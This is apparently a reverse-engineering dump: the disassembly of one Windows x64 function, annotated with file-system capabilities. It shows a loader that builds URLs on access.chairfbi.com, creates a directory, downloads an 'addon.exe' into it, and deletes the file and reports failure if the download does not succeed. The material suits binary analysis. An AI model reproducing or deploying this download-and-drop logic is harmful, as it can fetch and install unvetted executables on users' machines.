Function at 0x14005b5a0
Capabilities:
Create directory
Delete file

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xe0
mov rdi, rcx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov qword [rbp + 0x6f], rax
lea rcx, [rbp + 0x6f]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
call fcn.14005bd40
mov rbx, rax
xor r14d, r14d
mov qword [rsp + 0x20], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], 0xf
mov byte [rsp + 0x20], r14b
lea ecx, [r14 + 0x30]
call fcn.140096d8c
mov rdx, rax
mov qword [rsp + 0x30], 0x2f
mov qword [rsp + 0x38], 0x2f
movups xmm0, xmmword [str.https:__access.chairfbi.com_loader_version_NoUi]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400e2838]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x1400e2848]
movsd qword [rax + 0x20], xmm0
mov ecx, dword [0x1400e2850]
mov dword [rax + 0x28], ecx
movzx ecx, word [0x1400e2854]
mov word [rax + 0x2c], cx
movzx eax, byte [0x1400e2856]
mov byte [rdx + 0x2e], al
mov byte [rdx + 0x2f], r14b
mov qword [rsp + 0x20], rdx
lea r12, [0x1402ed828]
mov rdx, r12
cmp qword [0x1402ed840], 0x10
cmovae rdx, qword [0x1402ed828]
mov r8, qword [0x1402ed838]
lea rcx, [rsp + 0x20]
call fcn.14005f170
mov qword [rbp - 0x79], r14
mov qword [rbp - 0x69], r14
mov qword [rbp - 0x61], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x79], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x69], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea r8, [rbp - 0x79]
lea rdx, [rbp - 0x19]
mov rcx, rbx
call fcn.14007f350
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14005b705
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b700
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005b700
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140096dc8
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], 0xf
mov byte [rsp + 0x20], 0
lea rcx, [rbp - 0x39]
call fcn.140004940
cmp qword [rax + 0x18], 0x10
jb 0x14005b72b
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov rdx, qword [rbp - 0x21]
cmp rdx, 0x10
jb 0x14005b772
inc rdx
mov rcx, qword [rbp - 0x39]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b76d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005b76d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140096dc8
lea rsi, [rbp - 0x19]
cmp qword [rbp - 1], 0x10
cmovae rsi, qword [rbp - 0x19]
lea rcx, [rbp - 0x39]
call fcn.140004940
mov rbx, rax
cmp qword [rax + 0x18], 0x10
jb 0x14005b796
mov rbx, qword [rax]
mov qword [rbp + 7], r14
mov qword [rbp + 0x17], r14
mov qword [rbp + 0x1f], 0xf
mov r8d, 0x10
lea rdx, str._s_s_laddon.exe
lea rcx, [rbp + 7]
call fcn.1400055e0
mov r9, rsi
mov r8, rbx
lea rdx, [rbp + 7]
lea rcx, [rbp - 0x59]
call fcn.14005f240
nop
mov rdx, qword [rbp - 0x21]
cmp rdx, 0x10
jb 0x14005b80e
inc rdx
mov rcx, qword [rbp - 0x39]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b809
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005b809
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140096dc8
mov qword [rbp - 0x29], r14
mov qword [rbp - 0x21], 0xf
mov byte [rbp - 0x39], 0
lea r8, [rbp - 0x19]
cmp qword [rbp - 1], 0x10
cmovae r8, qword [rbp - 0x19]
mov qword [rbp - 0x61], 0xf
mov qword [rbp - 0x69], 0xd
movsd xmm0, qword [str._s_laddon.exe]
movsd qword [rbp - 0x79], xmm0
mov eax, dword [0x1400e2878]
mov dword [rbp - 0x71], eax
movzx eax, byte [0x1400e287c]
mov byte [rbp - 0x6d], al
mov byte [rbp - 0x6c], 0
lea rdx, [rbp - 0x79]
lea rcx, [rsp + 0x20]
call fcn.14005f240
mov rcx, rax
call fcn.14005ae50
lea rcx, [rbp - 0x59]
call fcn.1400048b0
test al, al
jne 0x14005bb94
call fcn.14005bd40
mov r13, rax
mov r15, qword [0x1402ed838]
movabs rax, 0x7fffffffffffffff
mov rcx, rax
sub rcx, r15
cmp rcx, 0x2b
jb 0x14005bc0f
cmp qword [0x1402ed840], 0x10
cmovae r12, qword [0x1402ed828]
mov qword [rsp + 0x20], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], r14
lea r14, [r15 + 0x2b]
mov ebx, 0xf
lea rsi, [rsp + 0x20]
cmp r14, rbx
jbe 0x14005b95b
mov rbx, r14
or rbx, 0xf
cmp rbx, rax
jbe 0x14005b916
mov rbx, rax
movabs rax, 0x8000000000000027
mov rcx, rax
call fcn.140096d8c
test rax, rax
je 0x14005b93e
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14005b956
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14005b945
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14005bc15
jmp 0x14005b8fb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14005b954
call fcn.140096d8c
mov rsi, rax
jmp 0x14005b956
xor esi, esi
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], rbx
movups xmm0, xmmword [str.https:__access.chairfbi.com_loader_url_NoUi]
movups xmmword [rsi], xmm0
movups xmm1, xmmword [0x1400e2890]
movups xmmword [rsi + 0x10], xmm1
movsd xmm0, qword [0x1400e28a0]
movsd qword [rsi + 0x20], xmm0
movzx eax, word [0x1400e28a8]
mov word [rsi + 0x28], ax
movzx eax, byte [0x1400e28aa]
mov byte [rsi + 0x2a], al
lea rcx, [rsi + 0x2b]
mov r8, r15
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r14], 0
lea r8, [rsp + 0x20]
lea rdx, [rbp - 0x79]
mov rcx, r13
call fcn.14007f350
nop
call fcn.14005bd40
mov rbx, rax
lea rax, [rbp - 0x39]
mov qword [rbp + 0x77], rax
lea rdx, [rbp - 0x59]
cmp qword [rbp - 0x41], 0x10
cmovae rdx, qword [rbp - 0x59]
xor r14d, r14d
mov qword [rbp - 0x39], r14
mov qword [rbp - 0x29], r14
mov qword [rbp - 0x21], 0xf
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], r14b
jne 0x14005ba00
lea rcx, [rbp - 0x39]
call fcn.1400055e0
nop
lea rdx, [rbp - 0x79]
lea rcx, [rbp + 7]
call fcn.1400030e0
nop
lea r8, [rbp - 0x39]
mov rdx, rax
mov rcx, rbx
call fcn.14007ec30
test al, al
jne 0x14005bb56
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x59]
cmp qword [rbp - 0x41], 0x10
cmovae rcx, qword [rbp - 0x59]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.Failed_to_download_loader_addon
call fcn.140008460
mov qword [rdi], r14
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov qword [rdi + 0x10], r14
mov byte [rdi], 0
mov rdx, qword [rbp - 0x61]
cmp rdx, 0x10
jb 0x14005bab3
inc rdx
mov rcx, qword [rbp - 0x79]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005baae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005bb88
call fcn.140096dc8
mov qword [rbp - 0x69], r14
mov qword [rbp - 0x61], 0xf
mov byte [rbp - 0x79], 0
mov rdx, qword [rbp - 0x41]
cmp rdx, 0x10
jb 0x14005bb01
inc rdx
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005bafc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005bafc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140096dc8
mov qword [rbp - 0x49], r14
mov qword [rbp - 0x41], 0xf
mov byte [rbp - 0x59], 0
mov rdx, qword [rbp - 1]
cmp rdx, 0x10
jb 0x14005bbf1
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005bbec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005bbec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdx, qword [rbp - 0x61]
cmp rdx, 0x10
jb 0x14005bb94
inc rdx
mov rcx, qword [rbp - 0x79]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005bb8f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005bb8f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140096dc8
movups xmm0, xmmword [rbp - 0x59]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rbp - 0x49]
movups xmmword [rdi + 0x10], xmm1
mov qword [rbp - 0x49], r14
mov qword [rbp - 0x41], 0xf
mov byte [rbp - 0x59], 0
mov rdx, qword [rbp - 1]
cmp rdx, 0x10
jb 0x14005bbf1
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005bbec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005bbec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140096dc8
mov rax, rdi
mov rbx, qword [rsp + 0x120]
add rsp, 0xe0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1400054b0
nop
call fcn.1400053f0
int3